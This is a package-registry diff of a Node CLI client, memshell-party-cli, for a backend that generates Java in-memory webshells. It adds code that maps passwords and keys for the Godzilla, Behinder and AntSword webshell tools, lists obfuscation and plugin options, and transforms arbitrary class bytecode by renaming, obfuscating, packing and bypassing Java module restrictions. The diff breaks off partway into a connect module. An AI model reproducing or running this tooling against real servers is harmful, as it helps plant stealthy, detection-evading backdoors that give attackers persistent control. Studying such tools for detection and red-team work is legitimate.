memshell-party-cli 0.7.0 → 0.8.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +70 -11
- package/README.md +36 -2
- package/dist/cli.js +1095 -325
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +122 -11
- package/dist/index.js +1207 -212
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +547 -494
package/dist/cli.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
// src/cli.ts
|
|
4
|
-
import { Command as
|
|
4
|
+
import { Command as Command12, CommanderError as CommanderError2 } from "commander";
|
|
5
5
|
|
|
6
6
|
// src/api/client.ts
|
|
7
7
|
var ApiError = class extends Error {
|
|
@@ -18,6 +18,7 @@ var MemPartyClient = class {
|
|
|
18
18
|
baseUrl;
|
|
19
19
|
fetchImpl;
|
|
20
20
|
timeoutMs;
|
|
21
|
+
generationApiVersion;
|
|
21
22
|
constructor(options) {
|
|
22
23
|
this.baseUrl = options.baseUrl.replace(/\/+$/, "");
|
|
23
24
|
this.fetchImpl = options.fetch ?? globalThis.fetch;
|
|
@@ -29,8 +30,14 @@ var MemPartyClient = class {
|
|
|
29
30
|
}
|
|
30
31
|
}
|
|
31
32
|
// ---------- config ----------
|
|
32
|
-
getServers() {
|
|
33
|
-
|
|
33
|
+
async getServers() {
|
|
34
|
+
const config = await this.getConfig();
|
|
35
|
+
return Object.fromEntries(
|
|
36
|
+
Object.entries(config).map(([server, tools]) => [
|
|
37
|
+
server,
|
|
38
|
+
[...new Set(Object.values(tools).flat())]
|
|
39
|
+
])
|
|
40
|
+
);
|
|
34
41
|
}
|
|
35
42
|
getConfig() {
|
|
36
43
|
return this.request("GET", "/api/config");
|
|
@@ -38,28 +45,76 @@ var MemPartyClient = class {
|
|
|
38
45
|
getPackerTree() {
|
|
39
46
|
return this.request("GET", "/api/config/packers/tree");
|
|
40
47
|
}
|
|
41
|
-
getPackers() {
|
|
42
|
-
|
|
48
|
+
async getPackers() {
|
|
49
|
+
try {
|
|
50
|
+
return await this.request("GET", "/api/config/packers");
|
|
51
|
+
} catch (err) {
|
|
52
|
+
if (!(err instanceof ApiError) || err.status !== 404) throw err;
|
|
53
|
+
return (await this.getPackerTree()).map((packer) => packer.name);
|
|
54
|
+
}
|
|
43
55
|
}
|
|
44
|
-
getCommandConfigs() {
|
|
56
|
+
async getCommandConfigs() {
|
|
57
|
+
const configs = await this.getShellToolConfigs();
|
|
58
|
+
const command = configs.find((config) => config.tool === "Command");
|
|
59
|
+
if (command) {
|
|
60
|
+
return {
|
|
61
|
+
encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
|
|
62
|
+
implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
|
|
63
|
+
};
|
|
64
|
+
}
|
|
45
65
|
return this.request("GET", "/api/config/command/configs");
|
|
46
66
|
}
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
67
|
+
async getShellToolConfigs() {
|
|
68
|
+
try {
|
|
69
|
+
return await this.request("GET", "/api/config/shelltool/configs");
|
|
70
|
+
} catch (err) {
|
|
71
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
72
|
+
throw err;
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
getObfuscationOptions() {
|
|
76
|
+
return this.request("GET", "/api/config/obfuscation/options");
|
|
77
|
+
}
|
|
78
|
+
async getProbeResponseServers() {
|
|
79
|
+
try {
|
|
80
|
+
return await this.request("GET", "/api/config/probe/response/servers");
|
|
81
|
+
} catch (err) {
|
|
82
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
83
|
+
throw err;
|
|
84
|
+
}
|
|
54
85
|
}
|
|
55
86
|
getVersion() {
|
|
56
87
|
return this.request("GET", "/api/version");
|
|
57
88
|
}
|
|
89
|
+
async getPlugins() {
|
|
90
|
+
try {
|
|
91
|
+
return await this.request("GET", "/api/plugins");
|
|
92
|
+
} catch (err) {
|
|
93
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
94
|
+
throw err;
|
|
95
|
+
}
|
|
96
|
+
}
|
|
58
97
|
// ---------- generation ----------
|
|
59
|
-
generateMemShell(req) {
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
98
|
+
async generateMemShell(req) {
|
|
99
|
+
const apiVersion = await this.getGenerationApiVersion();
|
|
100
|
+
try {
|
|
101
|
+
return await this.request("POST", "/api/memshell/generate", {
|
|
102
|
+
json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
|
|
103
|
+
});
|
|
104
|
+
} catch (err) {
|
|
105
|
+
if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
|
|
106
|
+
throw new ApiError(
|
|
107
|
+
`${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
|
|
108
|
+
err.status,
|
|
109
|
+
err.url
|
|
110
|
+
);
|
|
111
|
+
}
|
|
112
|
+
throw err;
|
|
113
|
+
}
|
|
114
|
+
}
|
|
115
|
+
getGenerationApiVersion() {
|
|
116
|
+
this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
|
|
117
|
+
return this.generationApiVersion;
|
|
63
118
|
}
|
|
64
119
|
generateProbe(req) {
|
|
65
120
|
return this.request("POST", "/api/probe/generate", {
|
|
@@ -73,6 +128,16 @@ var MemPartyClient = class {
|
|
|
73
128
|
raw: true
|
|
74
129
|
});
|
|
75
130
|
}
|
|
131
|
+
decodeBytecode(classBase64) {
|
|
132
|
+
return this.request("POST", "/api/bytecode/decode", {
|
|
133
|
+
text: classBase64
|
|
134
|
+
});
|
|
135
|
+
}
|
|
136
|
+
transformBytecode(req) {
|
|
137
|
+
return this.request("POST", "/api/bytecode/transform", {
|
|
138
|
+
json: req
|
|
139
|
+
});
|
|
140
|
+
}
|
|
76
141
|
// ---------- transport ----------
|
|
77
142
|
async request(method, path, opts = {}) {
|
|
78
143
|
const url = `${this.baseUrl}${path}`;
|
|
@@ -126,6 +191,26 @@ var MemPartyClient = class {
|
|
|
126
191
|
return JSON.parse(rawText);
|
|
127
192
|
}
|
|
128
193
|
};
|
|
194
|
+
function toLegacyMemShellRequest(req) {
|
|
195
|
+
const { pass, key, paramName, template, ...common } = req.shellToolConfig;
|
|
196
|
+
const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
|
|
197
|
+
return {
|
|
198
|
+
...req,
|
|
199
|
+
shellConfig: {
|
|
200
|
+
...shellConfig,
|
|
201
|
+
probe: shellConfig.probe ? true : void 0
|
|
202
|
+
},
|
|
203
|
+
shellToolConfig: {
|
|
204
|
+
...common,
|
|
205
|
+
godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
|
|
206
|
+
godzillaKey: key,
|
|
207
|
+
commandParamName: paramName,
|
|
208
|
+
commandTemplate: template,
|
|
209
|
+
behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
|
|
210
|
+
antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
|
|
211
|
+
}
|
|
212
|
+
};
|
|
213
|
+
}
|
|
129
214
|
|
|
130
215
|
// src/core/config.ts
|
|
131
216
|
import { readFileSync } from "fs";
|
|
@@ -174,6 +259,127 @@ function reportError(message, argv) {
|
|
|
174
259
|
}
|
|
175
260
|
}
|
|
176
261
|
|
|
262
|
+
// src/core/shell-tool-config.ts
|
|
263
|
+
function toolConfigForTool(configs, tool) {
|
|
264
|
+
return configs.find((config) => config.tool === tool);
|
|
265
|
+
}
|
|
266
|
+
function parseShellToolConfig(assignments, params) {
|
|
267
|
+
const result = {};
|
|
268
|
+
for (const assignment of assignments ?? []) {
|
|
269
|
+
const separator = assignment.indexOf("=");
|
|
270
|
+
if (separator <= 0) {
|
|
271
|
+
throw new Error(`Invalid --tool-option "${assignment}". Expected name=value.`);
|
|
272
|
+
}
|
|
273
|
+
const name = assignment.slice(0, separator).trim();
|
|
274
|
+
const rawValue = assignment.slice(separator + 1);
|
|
275
|
+
if (!name) throw new Error(`Invalid --tool-option "${assignment}". Expected name=value.`);
|
|
276
|
+
const param = params?.find((candidate) => candidate.name === name);
|
|
277
|
+
if (params !== void 0 && param === void 0) {
|
|
278
|
+
throw new Error(
|
|
279
|
+
`Unknown shell tool option "${name}". Available options: ${params.map((item) => item.name).join(", ") || "(none)"}.`
|
|
280
|
+
);
|
|
281
|
+
}
|
|
282
|
+
if (param?.type === "object") {
|
|
283
|
+
result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);
|
|
284
|
+
} else if (rawValue.startsWith("{")) {
|
|
285
|
+
result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);
|
|
286
|
+
} else {
|
|
287
|
+
result[name] = rawValue;
|
|
288
|
+
}
|
|
289
|
+
}
|
|
290
|
+
return result;
|
|
291
|
+
}
|
|
292
|
+
function parseToolConfigFile(source, params) {
|
|
293
|
+
const parsed = parseJsonObject(source, "--tool-config");
|
|
294
|
+
const assignments = Object.entries(parsed).map(([name, value]) => {
|
|
295
|
+
if (typeof value === "string") return `${name}=${value}`;
|
|
296
|
+
return `${name}=${JSON.stringify(value)}`;
|
|
297
|
+
});
|
|
298
|
+
return parseShellToolConfig(assignments, params);
|
|
299
|
+
}
|
|
300
|
+
function validateRequiredRemoteOptions(config, params) {
|
|
301
|
+
const missing = (params ?? []).filter((param) => param.ui?.kind === "remote-select" && param.ui.required).filter((param) => {
|
|
302
|
+
const value = config[param.name];
|
|
303
|
+
return value === void 0 || typeof value === "string" && value.trim() === "";
|
|
304
|
+
}).map((param) => param.name);
|
|
305
|
+
if (missing.length > 0) {
|
|
306
|
+
throw new Error(
|
|
307
|
+
`Missing required remote shell tool option(s): ${missing.join(", ")}. Provide them with --tool-option or --tool-config.`
|
|
308
|
+
);
|
|
309
|
+
}
|
|
310
|
+
}
|
|
311
|
+
function parseJsonObject(source, label) {
|
|
312
|
+
let parsed;
|
|
313
|
+
try {
|
|
314
|
+
parsed = JSON.parse(source);
|
|
315
|
+
} catch (err) {
|
|
316
|
+
throw new Error(`${label} must be valid JSON: ${err.message}`);
|
|
317
|
+
}
|
|
318
|
+
if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) {
|
|
319
|
+
throw new Error(`${label} must be a JSON object.`);
|
|
320
|
+
}
|
|
321
|
+
return parsed;
|
|
322
|
+
}
|
|
323
|
+
function readRemotePath(value, path) {
|
|
324
|
+
if (!path) return value;
|
|
325
|
+
let current = value;
|
|
326
|
+
for (const segment of path.split(".")) {
|
|
327
|
+
if (!segment || typeof current !== "object" || current === null || Array.isArray(current) || !(segment in current)) {
|
|
328
|
+
return void 0;
|
|
329
|
+
}
|
|
330
|
+
current = current[segment];
|
|
331
|
+
}
|
|
332
|
+
return current;
|
|
333
|
+
}
|
|
334
|
+
function normalizeRemoteOptions(payload, hint, objectMode) {
|
|
335
|
+
const items = readRemotePath(payload, hint.itemsPath);
|
|
336
|
+
if (!Array.isArray(items)) {
|
|
337
|
+
throw new Error("Remote options response does not contain an array at itemsPath.");
|
|
338
|
+
}
|
|
339
|
+
return items.map((item) => {
|
|
340
|
+
if (typeof item !== "object" || item === null || Array.isArray(item)) {
|
|
341
|
+
throw new Error("Remote option items must be objects.");
|
|
342
|
+
}
|
|
343
|
+
const rawLabel = readRemotePath(item, hint.labelPath);
|
|
344
|
+
if (typeof rawLabel !== "string" && typeof rawLabel !== "number") {
|
|
345
|
+
throw new Error("Remote option labels must be strings or numbers.");
|
|
346
|
+
}
|
|
347
|
+
if (objectMode) return { label: String(rawLabel), value: item };
|
|
348
|
+
if (!hint.valuePath) throw new Error("String remote options require valuePath.");
|
|
349
|
+
const rawValue = readRemotePath(item, hint.valuePath);
|
|
350
|
+
if (typeof rawValue !== "string" && typeof rawValue !== "number") {
|
|
351
|
+
throw new Error("Remote option values must be strings or numbers.");
|
|
352
|
+
}
|
|
353
|
+
return { label: String(rawLabel), value: String(rawValue) };
|
|
354
|
+
});
|
|
355
|
+
}
|
|
356
|
+
function validateRemoteOptionsUrl(value) {
|
|
357
|
+
const url = new URL(value);
|
|
358
|
+
if (url.protocol !== "http:" && url.protocol !== "https:") {
|
|
359
|
+
throw new Error("Remote options URL must use HTTP or HTTPS.");
|
|
360
|
+
}
|
|
361
|
+
return url.toString();
|
|
362
|
+
}
|
|
363
|
+
async function fetchRemoteOptions(sourceUrl, hint, objectMode, fetchImpl = globalThis.fetch, signal) {
|
|
364
|
+
const url = validateRemoteOptionsUrl(sourceUrl);
|
|
365
|
+
const response = await fetchImpl(url, {
|
|
366
|
+
method: "GET",
|
|
367
|
+
headers: { Accept: "application/json" },
|
|
368
|
+
redirect: "follow",
|
|
369
|
+
signal
|
|
370
|
+
});
|
|
371
|
+
if (!response.ok) {
|
|
372
|
+
throw new Error(`Remote options request failed (${response.status} ${response.statusText}).`);
|
|
373
|
+
}
|
|
374
|
+
let payload;
|
|
375
|
+
try {
|
|
376
|
+
payload = await response.json();
|
|
377
|
+
} catch {
|
|
378
|
+
throw new Error("Remote options response must be valid JSON.");
|
|
379
|
+
}
|
|
380
|
+
return normalizeRemoteOptions(payload, hint, objectMode);
|
|
381
|
+
}
|
|
382
|
+
|
|
177
383
|
// src/commands/config.ts
|
|
178
384
|
function printJsonOrLines(data, json, renderLines) {
|
|
179
385
|
if (json) {
|
|
@@ -193,6 +399,10 @@ Examples:
|
|
|
193
399
|
$ memparty config tools Tomcat # tools available on one server (values for gen -t)
|
|
194
400
|
$ memparty config packers # packer tree (values for gen -p)
|
|
195
401
|
$ memparty config command # Command-tool encryptors and impl classes
|
|
402
|
+
$ memparty config tool-configs # v3+ tool parameter names and enum values
|
|
403
|
+
$ memparty config obfuscation # v3+ obfuscation option reference
|
|
404
|
+
$ memparty config plugins # v3.1+ external plugin metadata and load status
|
|
405
|
+
$ memparty config remote-options PluginTool target --url https://example.com/options
|
|
196
406
|
`
|
|
197
407
|
);
|
|
198
408
|
config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
@@ -228,6 +438,67 @@ Examples:
|
|
|
228
438
|
${p.children.join(", ")}` : p.name)
|
|
229
439
|
);
|
|
230
440
|
});
|
|
441
|
+
config.command("tool-configs").description("List shell tool parameters (empty for v2 backends)").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
442
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
443
|
+
const configs = await client.getShellToolConfigs();
|
|
444
|
+
printJsonOrLines(
|
|
445
|
+
configs,
|
|
446
|
+
opts.json,
|
|
447
|
+
() => configs.length ? configs.flatMap((config2) => [
|
|
448
|
+
config2.tool,
|
|
449
|
+
...config2.params.map(
|
|
450
|
+
(param) => ` ${param.name} (${param.type})${param.options.length ? `: ${param.options.join(", ")}` : ""}${param.ui?.kind === "remote-select" ? ` [remote: ${param.ui.urlQueryParam}${param.ui.required ? ", required" : ""}]` : ""}`
|
|
451
|
+
)
|
|
452
|
+
]) : ["No v3 shell-tool config endpoint on this backend."]
|
|
453
|
+
);
|
|
454
|
+
});
|
|
455
|
+
config.command("plugins").description("List external plugin metadata and load status (MemShellParty v3.1+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
456
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
457
|
+
const plugins = await client.getPlugins();
|
|
458
|
+
printJsonOrLines(
|
|
459
|
+
plugins,
|
|
460
|
+
opts.json,
|
|
461
|
+
() => plugins.length ? plugins.flatMap((plugin) => [
|
|
462
|
+
`${plugin.name}${plugin.version ? ` (${plugin.version})` : ""} [${plugin.loaded ? "loaded" : "not loaded"}]`,
|
|
463
|
+
` jar: ${plugin.jarFileName}`,
|
|
464
|
+
...plugin.author ? [` author: ${plugin.author}`] : [],
|
|
465
|
+
...plugin.description ? [` description: ${plugin.description}`] : [],
|
|
466
|
+
...plugin.homepage ? [` homepage: ${plugin.homepage}`] : [],
|
|
467
|
+
...plugin.license ? [` license: ${plugin.license}`] : [],
|
|
468
|
+
...plugin.source ? [` source: ${plugin.source}`] : [],
|
|
469
|
+
...plugin.spiServices.length ? [` SPI: ${plugin.spiServices.join(", ")}`] : [],
|
|
470
|
+
...plugin.loadError ? [` load error: ${plugin.loadError}`] : []
|
|
471
|
+
]) : ["No external plugins (or the backend predates v3.1)."]
|
|
472
|
+
);
|
|
473
|
+
});
|
|
474
|
+
config.command("remote-options").description("Resolve a v3.1 remote-select field into string IDs or complete objects").argument("<tool>", "shell tool name").argument("<param>", "remote-select parameter name").option("--url <url>", "remote JSON endpoint (or set the field's urlQueryParam as an env var)").option("--object", "return complete objects instead of using the parameter's declared type").option("--json", "output raw JSON").action(async (tool, paramName, opts, cmd) => {
|
|
475
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
476
|
+
const descriptor = (await client.getShellToolConfigs()).find((config2) => config2.tool === tool);
|
|
477
|
+
const param = descriptor?.params.find((candidate) => candidate.name === paramName);
|
|
478
|
+
if (!param?.ui || param.ui.kind !== "remote-select") {
|
|
479
|
+
throw new Error(`${tool}.${paramName} is not a remote-select shell tool option.`);
|
|
480
|
+
}
|
|
481
|
+
const sourceUrl = opts.url ?? process.env[param.ui.urlQueryParam];
|
|
482
|
+
if (!sourceUrl) {
|
|
483
|
+
throw new Error(`Provide --url or set the ${param.ui.urlQueryParam} environment variable.`);
|
|
484
|
+
}
|
|
485
|
+
const options = await fetchRemoteOptions(sourceUrl, param.ui, opts.object ?? param.type === "object");
|
|
486
|
+
printJsonOrLines(options, opts.json, () => options.map((option, index) => {
|
|
487
|
+
const value = typeof option.value === "string" ? option.value : JSON.stringify(option.value);
|
|
488
|
+
return `${index}: ${option.label} => ${value}`;
|
|
489
|
+
}));
|
|
490
|
+
});
|
|
491
|
+
config.command("obfuscation").description("List obfuscation options (MemShellParty v3+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
492
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
493
|
+
const options = await client.getObfuscationOptions();
|
|
494
|
+
printJsonOrLines(
|
|
495
|
+
options,
|
|
496
|
+
opts.json,
|
|
497
|
+
() => options.map(
|
|
498
|
+
(option) => Object.entries(option).map(([key, value]) => `${key}=${JSON.stringify(value)}`).join(" ")
|
|
499
|
+
)
|
|
500
|
+
);
|
|
501
|
+
});
|
|
231
502
|
config.command("command").description("List Command-tool encryptors and implementation classes").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
232
503
|
const client = createClient(cmd.optsWithGlobals());
|
|
233
504
|
const cc = await client.getCommandConfigs();
|
|
@@ -238,9 +509,160 @@ Examples:
|
|
|
238
509
|
});
|
|
239
510
|
}
|
|
240
511
|
|
|
241
|
-
// src/commands/
|
|
512
|
+
// src/commands/bytecode.ts
|
|
513
|
+
import { readFileSync as readFileSync2 } from "fs";
|
|
242
514
|
import { Option } from "commander";
|
|
243
515
|
|
|
516
|
+
// src/core/output.ts
|
|
517
|
+
import { writeFileSync } from "fs";
|
|
518
|
+
var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
|
|
519
|
+
function hasBinaryExtension(path) {
|
|
520
|
+
const lower = path.toLowerCase();
|
|
521
|
+
return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
|
|
522
|
+
}
|
|
523
|
+
function shouldDecode(opts) {
|
|
524
|
+
if (opts.decode !== void 0) return opts.decode;
|
|
525
|
+
if (opts.outFile) return hasBinaryExtension(opts.outFile);
|
|
526
|
+
return false;
|
|
527
|
+
}
|
|
528
|
+
function emitPayload(payload, opts, sinks = {}) {
|
|
529
|
+
const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));
|
|
530
|
+
const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
|
|
531
|
+
const decoded = shouldDecode(opts);
|
|
532
|
+
if (opts.outFile) {
|
|
533
|
+
if (decoded) {
|
|
534
|
+
const buf = Buffer.from(payload, "base64");
|
|
535
|
+
writeFile(opts.outFile, buf);
|
|
536
|
+
return { destination: opts.outFile, size: buf.length, decoded: true };
|
|
537
|
+
}
|
|
538
|
+
writeFile(opts.outFile, payload);
|
|
539
|
+
return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
|
|
540
|
+
}
|
|
541
|
+
if (decoded) {
|
|
542
|
+
const buf = Buffer.from(payload, "base64");
|
|
543
|
+
writeStdout(buf.toString("binary"));
|
|
544
|
+
return { destination: "stdout", size: buf.length, decoded: true };
|
|
545
|
+
}
|
|
546
|
+
writeStdout(payload.endsWith("\n") ? payload : `${payload}
|
|
547
|
+
`);
|
|
548
|
+
return { destination: "stdout", size: payload.length, decoded: false };
|
|
549
|
+
}
|
|
550
|
+
function hasMultiplePackResults(r) {
|
|
551
|
+
return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
|
|
552
|
+
}
|
|
553
|
+
function emitSinglePackResult(r, opts, sinks = {}) {
|
|
554
|
+
if (hasMultiplePackResults(r)) {
|
|
555
|
+
const n = Object.keys(r.allPackResults).length;
|
|
556
|
+
throw new Error(
|
|
557
|
+
`the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
558
|
+
);
|
|
559
|
+
}
|
|
560
|
+
if (r.packResult === void 0) {
|
|
561
|
+
throw new Error("Server returned no packResult.");
|
|
562
|
+
}
|
|
563
|
+
return emitPayload(r.packResult, opts, sinks);
|
|
564
|
+
}
|
|
565
|
+
|
|
566
|
+
// src/core/obfuscation.ts
|
|
567
|
+
function parseObfuscationOptions(input3) {
|
|
568
|
+
if (input3 === void 0 || input3.trim() === "") return void 0;
|
|
569
|
+
const options = {};
|
|
570
|
+
for (const entry of input3.split(/[,\n]/)) {
|
|
571
|
+
const separator = entry.indexOf("=");
|
|
572
|
+
const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
|
|
573
|
+
if (separator < 0 || key === "") {
|
|
574
|
+
throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
|
|
575
|
+
}
|
|
576
|
+
if (Object.hasOwn(options, key)) {
|
|
577
|
+
throw new Error(`Duplicate obfuscation option "${key}".`);
|
|
578
|
+
}
|
|
579
|
+
const value = entry.slice(separator + 1).trim();
|
|
580
|
+
if (value === "true" || value === "false") {
|
|
581
|
+
options[key] = value === "true";
|
|
582
|
+
} else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
|
|
583
|
+
options[key] = Number(value);
|
|
584
|
+
} else {
|
|
585
|
+
options[key] = value;
|
|
586
|
+
}
|
|
587
|
+
}
|
|
588
|
+
return options;
|
|
589
|
+
}
|
|
590
|
+
|
|
591
|
+
// src/commands/bytecode.ts
|
|
592
|
+
function classInput(base64, file) {
|
|
593
|
+
if (file !== void 0 && base64 !== void 0) {
|
|
594
|
+
throw new Error("Pass either a Base64 argument or --file, not both.");
|
|
595
|
+
}
|
|
596
|
+
if (file !== void 0) return readFileSync2(file).toString("base64");
|
|
597
|
+
if (base64 !== void 0) return base64;
|
|
598
|
+
if (process.stdin.isTTY) {
|
|
599
|
+
throw new Error("Provide Base64 as an argument, --file <path>, or Base64 on stdin.");
|
|
600
|
+
}
|
|
601
|
+
return readFileSync2(0, "utf8");
|
|
602
|
+
}
|
|
603
|
+
function buildBytecodeTransformRequest(base64, opts) {
|
|
604
|
+
const renamePackage = opts.renamePackage || opts.relocateFrom !== void 0 || opts.relocateTo !== void 0;
|
|
605
|
+
if (renamePackage && (!opts.relocateFrom || !opts.relocateTo)) {
|
|
606
|
+
throw new Error("Package relocation requires both --relocate-from and --relocate-to.");
|
|
607
|
+
}
|
|
608
|
+
const obfuscation = opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(opts.obfuscationOptions) } : void 0;
|
|
609
|
+
return {
|
|
610
|
+
classBytesBase64: base64,
|
|
611
|
+
...opts.packer === void 0 ? {} : { packer: opts.packer },
|
|
612
|
+
...opts.bypassModule === void 0 ? {} : { byPassJavaModule: opts.bypassModule },
|
|
613
|
+
...opts.staticInitialize === void 0 ? {} : { staticInitialize: opts.staticInitialize },
|
|
614
|
+
...opts.shrink === void 0 ? {} : { shrink: opts.shrink },
|
|
615
|
+
...renamePackage ? { renamePackage, relocateFrom: opts.relocateFrom, relocateTo: opts.relocateTo } : {},
|
|
616
|
+
...opts.entryMethod === void 0 ? {} : { entryMethod: opts.entryMethod },
|
|
617
|
+
...opts.newClassName === void 0 ? {} : { newClassName: opts.newClassName },
|
|
618
|
+
...opts.randomName === void 0 ? {} : { randomName: opts.randomName },
|
|
619
|
+
...obfuscation === void 0 ? {} : { obfuscation },
|
|
620
|
+
...opts.probeMethod === void 0 ? {} : {
|
|
621
|
+
server: opts.server ?? "Unknown",
|
|
622
|
+
probe: {
|
|
623
|
+
probeMethod: opts.probeMethod,
|
|
624
|
+
probeContent: "Bytecode",
|
|
625
|
+
respHeaderName: opts.respHeaderName
|
|
626
|
+
}
|
|
627
|
+
}
|
|
628
|
+
};
|
|
629
|
+
}
|
|
630
|
+
function registerBytecodeCommand(program) {
|
|
631
|
+
const command = program.command("bytecode").description("Decode and transform arbitrary Java classes (MemShellParty v3+)");
|
|
632
|
+
command.command("decode").description("Decode Base64/GzipBase64 class bytes and print class metadata").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("--json", "print the full JSON response").addHelpText("after", "\nExamples:\n $ memparty bytecode decode -f Payload.class\n $ cat Payload.class | memparty bytecode decode --json\n").action(async (base64, opts, cmd) => {
|
|
633
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
634
|
+
const result = await client.decodeBytecode(classInput(base64, opts.file));
|
|
635
|
+
if (opts.json) process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
636
|
+
`);
|
|
637
|
+
else process.stdout.write(`${result.className} (${result.size} bytes)
|
|
638
|
+
${result.classBytesBase64Str}
|
|
639
|
+
`);
|
|
640
|
+
});
|
|
641
|
+
command.command("transform").description("Rename, relocate, instrument, obfuscate or pack a class").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("-p, --packer <packer>", "packer, e.g. DefaultBase64, JSP").option("--bypass-module", "bypass Java module restrictions").option("--static-initialize", "call the no-argument constructor from a static initializer").option("--no-shrink", "keep bytecode debug information").option("--rename-package", "enable package relocation").option("--relocate-from <prefix>", "original package prefix, e.g. javax.servlet").option("--relocate-to <prefix>", "replacement package prefix, e.g. jakarta.servlet").option("--entry-method <signature>", "add an entry method, e.g. 'public static void main(String[] args)'").option("--new-class-name <name>", "new simple or fully-qualified class name").option("--random-name", "generate a random class and package name").option("--obfuscate", "enable class obfuscation").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--server <server>", "response-wrapper server (default: Unknown)").addOption(new Option("--probe-method <method>", "embed a Bytecode response wrapper").choices(["ResponseBody", "ResponseHeader"])).option("--resp-header-name <name>", "ResponseHeader response header (random when omitted)").option("-o, --output <file>", "write the packed result, or the transformed class when no packer is given").option("--json", "print the full JSON response; outputFile is added when -o is used").addHelpText("after", "\nExamples:\n $ memparty bytecode transform -f Payload.class --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class\n $ memparty bytecode transform -f Payload.class --entry-method 'public static void main(String[] args)' -o Entry.class\n $ memparty bytecode transform -f Payload.class --server Tomcat --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json\n").action(async (base64, opts, cmd) => {
|
|
642
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
643
|
+
const request = buildBytecodeTransformRequest(classInput(base64, opts.file), opts);
|
|
644
|
+
const result = await client.transformBytecode(request);
|
|
645
|
+
const outputFile = opts.output === void 0 ? void 0 : result.packResult !== void 0 ? emitSinglePackResult(result, { outFile: opts.output }) : emitPayload(result.classBytesBase64Str, { outFile: opts.output, decode: true });
|
|
646
|
+
if (opts.json) {
|
|
647
|
+
process.stdout.write(`${JSON.stringify(outputFile === void 0 ? result : { ...result, outputFile }, null, 2)}
|
|
648
|
+
`);
|
|
649
|
+
return;
|
|
650
|
+
}
|
|
651
|
+
logInfo(`class: ${result.className} (${result.size} bytes)`);
|
|
652
|
+
if (outputFile !== void 0) {
|
|
653
|
+
logInfo(`wrote ${outputFile.size} bytes to ${outputFile.destination}`);
|
|
654
|
+
} else if (result.packResult !== void 0) {
|
|
655
|
+
emitSinglePackResult(result, {});
|
|
656
|
+
} else {
|
|
657
|
+
process.stdout.write(`${result.classBytesBase64Str}
|
|
658
|
+
`);
|
|
659
|
+
}
|
|
660
|
+
});
|
|
661
|
+
}
|
|
662
|
+
|
|
663
|
+
// src/commands/connect.ts
|
|
664
|
+
import { Option as Option2 } from "commander";
|
|
665
|
+
|
|
244
666
|
// src/connect/assets.ts
|
|
245
667
|
